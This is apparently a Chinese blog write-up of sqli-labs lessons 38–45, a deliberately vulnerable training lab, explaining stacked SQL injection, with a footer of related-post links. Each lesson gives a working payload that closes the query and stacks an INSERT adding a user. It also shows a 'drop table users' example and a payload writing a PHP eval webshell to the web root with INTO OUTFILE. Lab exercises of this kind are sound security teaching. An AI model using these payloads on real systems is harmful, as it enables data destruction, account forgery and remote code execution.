sqli-labs lesson 38-45
从page3也就是less 38开始进入了堆叠注入(stacked injection)
stacked injection:
简单来说就是进行SQL注入时注入了多条语句。因为之前我们都是只进行过注入一条语句完成attack,
而现在开始一般用;来进行多条语句的注入。在SQL中,分号(;)是用来表示一条sql语句的结束。
我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union
或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
举个例子: select * from users where id = 1 ; drop table users;
第一条语句查询信息,第二条删除users表
(注意oracle数据库无法进行堆叠注入,当在其中输入两条或更多语句时直接报错无效字符。)
less 38
观察源码可以看到数据库执行的select语句为:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
构造payload:
?id=1' ; insert into users(id,username,password) values ('100',‘less38’,‘zzw’) --+

查看数据库:

less 39
观察源码: 是数字型注入

构造payload:
?id=1;insert into users(id,username,password) values('39','less39','39')#

查看数据库:(截图一直转圈...就不上传了)
less 40
本关的sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1
闭合的时候注意用 ') 闭合前面的 (' ,之后后面的 ‘)用 --+注释掉即可 和前两关步骤一样
payload:
?id=1'); insert into users(id,username,password) values ('40','less40','40') --+
less 41
本关和less 39闭合语句思路是一样的,都是数字型注入,只是没有错误回显了
payload:
?id=1; insert into users(id,username,password) values ('41','less41','41')
less 42
本关变为了post型注入,且观察源代码发现在username处用到了mysqli_real_escape_string函数
进行了过滤,但是password没有进行过滤,切换注入点为password即可。
username随便输入,在password出输入构造的payload
payload:
1'; insert into users(id,username,password) values ('42','less42','42');#

尝试用插入的用户名和密码进行登录


less 43
与less 42基本一致,也是在password处构造并输入payload
只是此处闭合语句用 ') 闭合前面的 (' 后面就用注释符注释掉即可
用insert into 插入我们想要的username 和 password
payload:
1'); insert into users(id,username,password) values ('43','less43','43');#

less 44
本关与less 43基本一致,区别在于没有回显信息,password处的包裹为 '
password处构造payload:
1'; insert into users(id,username,password) values ('44','less44','44');#



less 45
与less 42基本一致 区别在于没有错误信息回显,password处被('')包裹
还是在password处构造payload:
1');insert into users(id,username,password) values ('45','less45','45') #



此处介绍另外一种方法,利用一句话木马和中国菜刀
1.需要有写权限
2.需要一句话木马
3.select xxx into outfile xxx
4.绝对路径
以less45为例,构造payload:
1');select '<?php @eval($_post["users"]);?>' into outfile 'C:\\phpstudy1\\PHPTutorial\\
WWW\\sqli-labs-master\\Less-45\\1.php' #
(测试有误 不定期更新)
sqli-labs lesson 38-45的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- FastTunnel-开源内网穿透框架
FastTunnel - 打造人人都能搭建的内网穿透工具 FastTunnel是用.net core开发的一款跨平台内网穿透工具,它可以实现将内网服务暴露到公网供自己或任何人访问. 与其他穿透工具不同 ...
- HCNA Routing&Switching之动态路由基本概念
前文我们了解了静态路由的相关话题,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/14965433.html:今天我们来聊一聊动态路由相关概念: 首先我们要清楚什 ...
- 《OpenResty 最佳实践》学习开篇
前言:对openresty学习中,收集了一些相关知识的参考网站,有兴趣的可以看看.另附网盘分享. lua菜鸟教程 openresty最佳实战 lua在线解析工具 Nginx Lua API Nginx ...
- java二叉树的遍历(1)
树(tree)是一种抽象数据类型(ADT),用来模拟具有树状结构性质的数据集合.它是由n(n>0)个有限节点通过连接它们的边组成一个具有层次关系的集合 节点:上图的圆圈,比如A,B,C等都是表示 ...
- 「AGC030D」Inversion Sum
「AGC030D」Inversion Sum 传送门 妙啊. 由于逆序对的个数最多只有 \(O(n^2)\) 对,而对于每一个询问与其相关的逆序对数也最多只有 \(O(n)\) 对,我们可以对于每一对 ...
- 学习 CLR 源码:连续内存块数据操作的性能优化
目录 C# 原语类型 1,利用 Buffer 优化数组性能 2,BinaryPrimitives 细粒度操作字节数组 提高代码安全性 3,BitConverter.MemoryMarshal 4,Ma ...
- 传统.NET 4.x应用容器化体验(4)
上一篇我们试着将.NET 4.x的镜像推送到harbor私有镜像仓库,本篇我们来使用一下阿里云的镜像仓库服务并了解一下携程的实践. 1 关于阿里云镜像仓库 阿里云容器镜像服务(简称 ACR)是面向容器 ...
- HTML5-CSS(二)
一. CSS 文本样式 1.font-size p { font-size: 50px;}解释:设置文本的大小. xx-small.x-small.small.medium.large.x-larg ...
- VSCode 如何远程连接其他主机的 WSL2
VSCode 如何远程连接其他主机的 WSL2 VSCode 的 Remote Deployment 插件对 WSL2 直接提供了支持,能够很方便的连接本机的 WSL2 ,但是并没有提供一个连接远程 ...
- AI开发者十问:10分钟了解AI开发的基本过程
摘要:从AI开发模型.框架.工具,到提升开发效率的学习办法,为AI开发者逐一解答. 本文分享自华为云社区<10分钟了解AI开发的基本过程>,作者:简单坚持. 1.AI开发究竟在开发什么? ...